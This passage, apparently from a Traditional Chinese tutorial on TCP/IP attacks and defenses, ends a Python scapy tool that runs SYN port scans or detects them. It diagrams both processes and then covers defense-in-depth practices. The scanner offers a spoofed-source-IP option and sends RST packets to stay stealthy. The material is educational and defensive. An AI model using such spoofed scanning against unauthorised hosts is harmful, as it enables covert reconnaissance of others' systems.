        print(f"觸發閾值: {self.threshold} 個不同連接埠")
        print(f"時間視窗: {self.time_window} 秒")
        print(f"按下 Ctrl+C 停止監聽\n")
        
        try:
            sniff(iface=self.interface, prn=self.detect_scan, 
                  filter="tcp", store=False)
        except KeyboardInterrupt:
            print("\n[停止監聽]")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='埠掃描與偵測工具')
    subparsers = parser.add_subparsers(dest='mode', help='操作模式')
    
    scan_parser = subparsers.add_parser('scan', help='執行埠掃描')
    scan_parser.add_argument('-t', '--target', required=True, help='目標 IP 位址')
    scan_parser.add_argument('-p', '--ports', required=True, 
                            help='連接埠範圍 (例如: 1-1024)')
    scan_parser.add_argument('-s', '--spoofed', help='偽造來源 IP')
    scan_parser.add_argument('--timeout', type=float, default=1, help='逾時時間')
    
    detect_parser = subparsers.add_parser('detect', help='偵測埠掃描')
    detect_parser.add_argument('-i', '--interface', default='eth0', help='網路介面')
    detect_parser.add_argument('-T', '--threshold', type=int, default=10, 
                              help='觸發閾值')
    detect_parser.add_argument('-w', '--window', type=int, default=10, 
                              help='時間視窗 (秒)')
    
    args = parser.parse_args()
    
    if args.mode == 'scan':
        port_range = args.ports.split('-')
        ports = range(int(port_range[0]), int(port_range[1]) + 1)
        
        scanner = PortScanner(
            target=args.target,
            ports=ports,
            spoofed_ip=args.spoofed,
            timeout=args.timeout
        )
        
        scanner.syn_scan()
        scanner.print_results()
        
    elif args.mode == 'detect':
        detector = ScanDetector(
            interface=args.interface,
            threshold=args.threshold,
            time_window=args.window
        )
        
        detector.start_monitoring()
    else:
        parser.print_help()

這個整合性程式同時實作了埠掃描功能與掃描偵測機制。掃描模組使用 SYN 掃描技術系統性地探測目標主機的連接埠狀態,並根據回應封包的類型與旗標判斷連接埠是開放、關閉或被過濾。偵測模組則透過監聽網路流量,追蹤來源 IP 對不同連接埠的存取模式,當某個來源在短時間內存取大量不同連接埠時,即觸發掃描行為警報。

掃描功能的實作邏輯完整涵蓋了各種可能的回應情境。對於未收到回應的連接埠,標記為被過濾狀態,可能是防火牆阻擋了封包。收到 ICMP 錯誤訊息的連接埠也視為被過濾,因為這表示網路層存在存取控制。收到 TCP RST 封包的連接埠確認為關閉狀態,而收到 SYN-ACK 的連接埠則確認開放,掃描器會立即發送 RST 終止連線以保持隱蔽性。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

participant "掃描器" as Scanner
participant "網路" as Network  
participant "目標主機" as Target
participant "防火牆" as Firewall

== 開放連接埠掃描 ==

Scanner -> Network: SYN 封包\n(目標連接埠: 80)
Network -> Target: 轉發 SYN
Target -> Network: SYN-ACK 封包
Network -> Scanner: 轉發 SYN-ACK
note over Scanner
  判定: 連接埠 80 開放
end note
Scanner -> Network: RST 封包\n(終止連線)
Network -> Target: 轉發 RST

== 關閉連接埠掃描 ==

Scanner -> Network: SYN 封包\n(目標連接埠: 8080)
Network -> Target: 轉發 SYN
Target -> Network: RST 封包
Network -> Scanner: 轉發 RST
note over Scanner
  判定: 連接埠 8080 關閉
end note

== 過濾連接埠掃描 ==

Scanner -> Network: SYN 封包\n(目標連接埠: 22)
Network -> Firewall: 封包到達防火牆
activate Firewall
Firewall -> Firewall: 檢查規則\n拒絕連線
Firewall -> Firewall: 丟棄封包
deactivate Firewall
note over Scanner
  逾時無回應
  判定: 連接埠 22 被過濾
end note

@enduml

上述時序圖展示了 SYN 掃描針對不同連接埠狀態的完整流程。開放的連接埠會正常回應 SYN-ACK,掃描器確認後立即發送 RST 終止連線。關閉的連接埠會回應 RST 封包,明確告知該連接埠未啟用服務。被防火牆過濾的連接埠則可能完全不回應,導致掃描器逾時,或是回應 ICMP 不可達訊息。透過分析這些不同的回應模式,掃描器能夠準確判斷目標主機的連接埠狀態。

埠掃描偵測系統的運作原理建立在行為模式分析的基礎上。正常的網路使用者通常只會連線到少數特定的服務連接埠,例如網頁瀏覽會連線到 80 與 443 連接埠。然而埠掃描器為了全面探測目標系統,會在短時間內嘗試連線到大量不同的連接埠。偵測系統透過記錄每個來源 IP 存取的連接埠與時間戳記,計算在特定時間視窗內存取的不同連接埠數量。當這個數量超過預設閾值,就觸發掃描行為警報。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

start

:開始監聽網路流量;
:初始化掃描記錄資料結構;

while (持續監聽?) is (是)
  :捕捉 TCP 封包;
  :擷取來源 IP 與目標連接埠;
  :記錄時間戳記;
  
  :查詢該來源 IP 的歷史記錄;
  
  if (首次出現?) then (是)
    :建立新的記錄項目;
  else (否)
    :更新現有記錄;
  endif
  
  :清理過期的連接埠記錄;
  note right
    移除超過時間視窗的記錄
    保持資料結構精簡
  end note
  
  :計算不同連接埠數量;
  
  if (超過閾值?) then (是)
    :觸發掃描警報;
    :記錄來源 IP 資訊;
    :記錄掃描連接埠清單;
    :記錄觸發時間;
    :清除該 IP 的記錄;
    note right
      避免重複警報
      重新開始計數
    end note
  else (否)
  endif
  
endwhile (否)

:停止監聽;
:產生偵測報告;

stop

@enduml

上述流程圖完整呈現埠掃描偵測系統的運作邏輯。系統持續監聽網路介面的 TCP 流量,針對每個封包擷取來源 IP 與目標連接埠資訊,並記錄時間戳記。系統維護一個字典結構,儲存每個來源 IP 存取過的連接埠及其時間。在每次處理新封包時,會先清理過期的記錄,只保留時間視窗內的資料。接著計算該來源 IP 在時間視窗內存取的不同連接埠數量,若超過閾值就觸發警報。警報觸發後會清除該 IP 的記錄,避免短時間內重複警報,同時也讓系統能夠偵測該 IP 後續的掃描行為。

完整防禦架構與最佳實踐

建立完善的 TCP/IP 安全防禦體系需要採用縱深防禦的策略,在網路的各個層級部署對應的安全機制。單一的防護措施往往無法應對複雜多變的攻擊手法,只有透過多層次的防禦架構,才能有效降低安全風險並及時偵測潛在威脅。

在網路邊界層級,部署具備進階威脅防護功能的防火牆是第一道防線。這些設備不僅能執行傳統的封包過濾,還應具備深度封包檢測、應用層閘道以及入侵防禦系統功能。針對 SYN Flood 等阻斷服務攻擊,防火牆應啟用連線速率限制與 SYN Proxy 功能。針對 IP 欺騙攻擊,則需實施嚴格的反偽造過濾規則,確保進出網路的封包來源位址符合網路拓撲邏輯。

在主機層級,作業系統的安全強化同樣重要。啟用 SYN Cookies 機制能有效抵禦 SYN Flood 攻擊,而適當調整 TCP 堆疊參數則能提升系統在攻擊情境下的穩定性。定期更新系統補丁,關閉不必要的服務與連接埠,實施最小權限原則,這些基本的安全實踐都是建立堅固防線的基礎。

監控與偵測機制構成防禦體系的重要環節。部署網路入侵偵測系統能即時分析流量模式,識別異常行為與已知的攻擊特徵。對於埠掃描等偵察行為,應建立自動化的偵測與回應機制,在攻擊的早期階段就予以攔截。日誌記錄與分析系統則提供事後調查的依據,協助理解攻擊的完整過程並改進防禦策略。

應用層的安全防護不容忽視。使用加密協定傳輸敏感資料能有效防禦密碼嗅探攻擊,即使攻擊者截獲封包也無法解讀內容。實施強式身分驗證機制,採用多因素驗證,定期更換憑證,這些措施都能降低憑證外洩的風險。對於網路服務,應實施速率限制與異常行為偵測,避免被利用進行放大攻擊。

持續的安全評估與改進是維持防禦有效性的關鍵。定期進行滲透測試與弱點掃描,能夠及時發現防禦體系的缺口。建立應變計畫與演練機制,確保在真實攻擊發生時能快速回應。追蹤最新的安全威脅情報,及時更新防禦策略,才能在不斷演進的威脅環境中保持領先。

從技術架構的角度來看,本文完整剖析了 TCP/IP 協定層級的三大類攻擊手法及其防禦機制。密碼嗅探攻擊利用未加密協定的弱點,透過被動監聽竊取敏感資訊,防禦重點在於實施端對端加密與混雜模式偵測。SYN Flood 攻擊利用 TCP 三向交握的資源分配機制,透過大量偽造請求耗盡系統資源,防禦策略包含啟用 SYN Cookies、調整系統參數以及部署 DDoS 防護設備。IP 欺騙攻擊透過偽造來源位址隱藏身分或繞過存取控制,防禦措施涵蓋反偽造過濾、來源驗證以及應用層身分驗證機制。

這些攻擊手法的實作程式碼展示了技術細節,協助讀者深入理解攻擊的運作邏輯。然而需要強調的是,這些程式碼僅供教育與授權測試使用,未經授權對他人系統進行攻擊屬於違法行為。在實際的安全維運工作中,應將這些知識應用於建立防禦機制與偵測系統,而非進行惡意攻擊。

技術限制方面,單純依賴程式碼層級的防禦並不足夠,需要結合網路設備、系統組態、安全政策以及人員意識等多個層面。防禦措施的有效性也會隨著攻擊技術的演進而改變,需要持續關注最新的安全研究與威脅情報。對於企業而言,建議建立完整的資安治理架構,涵蓋政策制定、技術實施、監控偵測以及應變處理等各個環節。

隨著網路攻擊技術的不斷演進,基於機器學習的入侵偵測技術逐漸成為重要的防禦手段。這類系統能夠學習正常的網路行為模式,識別出偏離常態的異常活動,即使是未知的攻擊手法也能有效偵測。結合傳統的特徵比對與行為分析,能夠建立更加智慧且具適應性的防禦體系。深入理解 TCP/IP 協定的攻擊與防禦原理,持續關注最新的安全技術發展,並在實務中不斷累積經驗,才能在快速變化的網路安全環境中維持有效的防護能力。